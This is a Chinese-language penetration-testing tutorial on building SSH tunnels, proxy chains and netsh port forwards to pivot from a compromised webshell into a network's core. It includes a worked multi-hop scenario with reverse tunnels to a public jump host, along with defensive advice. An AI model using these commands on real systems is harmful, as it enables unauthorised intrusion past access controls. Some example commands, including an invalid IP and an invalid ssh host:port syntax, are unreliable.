能够成功地通过web漏洞获取到webshell,对于一次完整的渗透测试来说,仅仅相当于万里长征的第一步。这么说,可能比较夸张吧,并不是所有渗透测试都会遇到几百台机器的大内网。(脉搏小编注:童鞋,几百万台才算大内网吧?你这几百台好像没见过世面。。)
在PTES(渗透测试执行标准)中,把渗透测试分成了七个主要的过程,也就是说现在通常说的前期交互、目标识别、信息收集、漏洞分析、漏洞利用、后渗透测试、报告编制这七大步骤。如果你看过PTES标准,你应该会跟我有一样的感觉,后渗透测试部分的内容,几乎等于其他六个部分的总和。当然,也只是在系统规模达到一定程度的时候,才会明显的感觉出来。
小生虽然离开了安全工程师的岗位,还是偶尔会遇到小年轻们拿到shell之后就不知道该干嘛了。写了个报告交给客户,草草结束了一个项目(这也是目前渗透测试服务的一个弊病,大部分的渗透测试都以Getshell为主要指标,能getshell,基本上已经宣告渗透测试结束了)。内网中,如何打开一个稳定、可靠的数据通道,对后续的测试工作起到非常重要的作用。这里分享一些我在之前渗透测试中常用的方式。在造成最小影响的情况下,构建稳定的内网代理通道。
其实并没有什么新奇的工具。我相信有很多我没都还没见识过的工具,不少坊间流传的远控工具功能强大,也非常易于使用。对于我这种,至今还在使用初版菜刀的“学院派”来说,最基础的工具,往往是最可靠的。
SSH在渗透测试中往往扮演了非常重要的角色。一方面,几乎所有的Linux/Unix服务器和网络设备都支持SSH协议。另一方面,SSH是最常用的远程管理协议,网络层面的访问控制协议,往往会为SSH网开一面。很多管理员为了便于管理,都会开放SSH远程管理,总不能每次一出问题就直奔机房吧。SSH本身是安全的,但是安全的通道,同样会在网络攻击中被利用。
SSH最简单的命令行格式如下:
ssh root@192.268.201.100
使用-p指定目标服务器上的ssh端口
ssh root@192.268.201.100 -p 2222
或者用下面的形式:
ssh root@192.168.201.100:2222
使用-N建立静默连接(建立了连接,但是你看不到会话,这个选项不是所有的ssh都支持,具体看情况)
ssh -N root@192.168.201.100:2222
使用-f对ssh进行后台执行,这个选项会把ssh转入后台,即使用户登出,ssh会话也不会终端,除非超时。
ssh -f root@192.168.201.100:2222
只要在本地设置一下代理端口就可以使用了。估计不少同学也是用过类似的方式去访问某些“不可描述”的网站。
SSH的隧道,说得通俗一些,其实就是端口映射,或者叫端口转发。
SSH一共支持三种隐射方式:
动态映射(使用-D选项,前面说的就是这种方式)。原理图如下:
ssh -D 8080 root@192.168.201.100
这个命令行会在本机上监听8080端口,成为一个sock5代理,只要简单设定一下代理,就可以以192.168.201.100作为代理服务器传送流量了。
本地映射(使用-L选项),将远端服务器的端口,隐射到本地。原理图如下:
ssh -L 8080(本地端口):192.168.201.101(目标主机):3306(目标端口) root@192.168.201.100(跳板机)
以SSH Server 为跳板,将Target Host的端口,映射到本地服务器上。这时候,你访问本地的8080端口,实际访问的,就是Target Host的3306了。
前提:SSH Server必须要能通过ssh够登陆到Target Host上去。
场景:SSH Server和Target Host都在内网,但是外部机器只能访问到SSH Server,而无法直接对Target Host做任何请求的时候。
远端映射(使用-R选项),将一个远端服务器的端口,隐射到另一个远端服务器。
ssh -R 3307:192.168.202.244:3306 root@192.168.201.100
这个时候,执行这条命令的主机,就成为跳板机。
前提:执行这条命令的主机,必须同时能够访问SSH Server和Target Server。
场景:SSH Server在外部,跳板机在内网,Target Host和跳板机同网段但无法直接从互联网访问到,或者Target Host处在更深层的内网。
实际上,本地映射、远端映射和动态隐射都可以灵活应用,跳板机、目标主机的角色是可以互相转换的。
假设渗透测试中的一个场景如下:
假设,每一台服务器你都知道至少一个账户的密码,这里假设内网的服务器上都有一个弱口令的oracle账户。
测试人员 | 公网跳板机 | 内网跳板机1号 | 内网跳板机2号 | 目标主机 |
192.168.100.1 公司内网 |
218.2.135.2 虚拟主机 具备独立的公网IP |
233.33.33.33 已Getshell 不能从外部直接登陆 但可以访问互联网 |
192.168.100.100 内网主机 不能访问互联网 可以被跳板1号访问 |
10.10.10.2 核心服务器 可被跳板机2号访问 能够访问核心区域 |
第一步:登陆公网跳板机
ssh root@218.2.135.2
第二步:把218.2.135.2的公钥,添加到跳板机1号的信任列表中。
公钥信息,在你本地的~/.ssh/know_hosts里面可以找到
形如:
218.2.135.2 ssh-rsa AAAAB3NzaC1y**************************************************************************************************************************************************************************************************************************7/WggmJ4OYMJp0OnKQ==
对应的,跳板机1号上你要添加到对应账户的~/.ssh/known_hosts文件中。
因为ssh初次登陆一台主机的时候,会询问用户,是否信任该主机。而且,如果同一个ip,其公钥与此前登陆时记录的公钥不必配,是无法登陆的,所以需要进行这个操作。
第三部:映射跳板机2号的ssh端口,到公网跳板机上(在跳板机1号的webshell中执行)
ssh -f -N -R 2222:218.2.135.2:22 oracle@192.168.100.100
图解:
第四部:登陆到跳板机2号上
ssh oracle@localhost:2222
因为上一步已经将跳板机2号的22端口映射到公网跳板机上去了,这时候可以直接登陆。
(注,公网跳板机也要做好防护,映射出去的端口,很有可能被扫描或者攻击,这个时候实际上被扫描的就是内网的服务器,我们不希望这种事情发生,这个时候就应当限制,2222端口只能被本地访问)
第五部,在跳板机2号上继续创建动态隐射
ssh -f -N -D 192.168.100.100:7777 oracle@10.10.10.2
图解:
渗透测试中有很多变数,不能一竿子打死,只映射特定的一个端口(比如1521)。最后一跳,个人建议以动态映射的方式,这样可以保证后续的其他测试工作也能顺利进行。但如果甲方对渗透测试有特定的需求,请务必按照甲方要求的方式进行。(比如,甲方不希望你访问除10.10.10.2之外的任意服务器,那么最后一跳就做一个本地隐射就可以了)
第六部:在跳板机1号上执行
ssh -f -N -R 7777:218.2.135.2:7777 oracle@192.168.100.100
最终,打开了一个直通内网核心的SSH隧道。
只要配置代理,sock5://218.2.135.2:7777,就可以使用浏览器或者数据库终端或者其他工具,来进行更深入的测试。
(我自己都觉得好烦的说…..)
你发送的流量,在公网跳板机上,跳板机2号上,目标主机上都会进行解密和重新加密的工作,所以效率会低很多(有点类似于洋葱路由了)。一般的手工测试或者文件传输没有太大问题,但是这个隧道一般无法支撑Namp或者WVS之类快速发包的工具。
如果你觉得这些操作太过于繁琐,不妨试试SSH Tunnel(仅限Mac,非常值得花钱买的一个软件)。windows的话,还是一行一行敲命令吧。
其实我并不是很喜欢这个工具,虽然功能强大。个人感觉配置Proxifier比配置防火墙还麻烦,所以用的很少。
在Proxies中添加你的代理服务器,可以配置多个代理,支持Socks4/5,HTTPS和HTTP代理。
看到下面的ProxyChains了么?这是它非常强大的一个功能。
其次是配置代理规则,
规则中可以详细指定,什么应用,访问什么站点的时候,使用哪一条代理链路。
在渗透测试的时候,这样的多链路代理会有比较大的用处。
切记,隧道和多链路代理本身已经打破了信息系统中固有的访问控制策略,如果你不能保证你自己的环境是否安全,请不要给客户增加额外的麻烦。
注:Proxifier跟VMware Workstation在功能上有冲突,如果安装了Proxifier,VM的虚拟机共享功能就无法使用。我之前遇到这个问题,蛋疼地把系统都重装好几次才意识到它俩有冲突。
算是SSH Tunnel的姊妹,同一个开发者,也是只有Mac下才有的工具。一般两者配合使用,基本上可以不用Proxifier了。它其实就做做了一个SSH的动态隐射而已。
配置好本地的映射端口,代理的服务器和对应的身份验证信息就可以了。
SSH Proxy的白名单功能比较好用,如果只需要对特定的站点或IP地址进行代理,就把IP地址添加到白名单里就可以了。但相比Proxifier,就没有的ProxyChains功能和多链路代理功能。
忠告:不建议使用SSH隧道出墙,因为流量特征明显,非常容易被屏蔽。
这个工具很小,可以使用命令行方式安装,可以在系统中注册成一个服务,随系统启动。也可以使用下面的命令行来运行这个服务,监听的端口是10086。
这个工具只有三个参数:
socks5.exe -i 安装socks5代理服务
socks5.exe -d 删除服务
socks5.exe -r 直接运行代理,不会注册一个新的服务。
(为了避免测试结束之后就忘记了,建议还是用-r方式直接运行,使用完毕就kill掉这个进程)
详细的使用介绍和源码,请戳这里
我自己用得也不是很多,暂时还没有好的案例可以分享,但是在内网中效果还是很不错的。
命令行格式如下:
创建端口映射
netsh interface portproxy add v4tov4 listenaddress=192.168.100.100 listenport=8443 connectaddress=10.10.10.2 connectport=8443
删除端口映射
netsh interface portproxy delete v4tov4 listenaddress=192.168.100.100 listenport=8443
查看当前所有的端口映射规则:
netsh interface portproxy show v4tov4
同样的,如果你能够在多台服务器上创建端口转发的链路,效果和ssh隧道几乎是一样的。
最后,渗透测试结束的时候,务必清除你创建的所有代理链路。毕竟,这些代理隧道已经打破了内网的访问控制策略了。(使用-N 和 -f选项建立的SSH会话运行在后台,只能kill掉对应的进程,但别kill错了)
如果你用我的方式去修改了known_hosts文件,也要把对应的公钥信息做清理。
隧道之所以能成功,前提是系统中访问控制不足。如果系统中配置了SSH远程管理的白名单,或者在ACL里限制特定的IP才能连接SSH,又或者系统完全使用带外管理,那就得两说了。
对于甲方来说,SSH固然是最常用的一种远程管理工具,SSH本身安全性也可以保障。但一定要意识到,安全工具,往往也会沦为攻击的重要手段。
如果没有足够的资源来建立带外管理的网络结构,内网中至少要限制SSH远程登录的地址和双向的访问控制策略(从外部到内部,从内部到外部)
切记,再牛逼的安全防护策略,也敌不过内网里遍地的弱口令。-_-|||
我身边的很多人都用LCX,但是从业三年时间里,我自己还没有成功地使用过这个工具,这里就不做介绍了。期待各位来做补充。
【原文:Tunnel:论如何在内网中自由渗透 作者:戒贤 安全脉搏整理发布】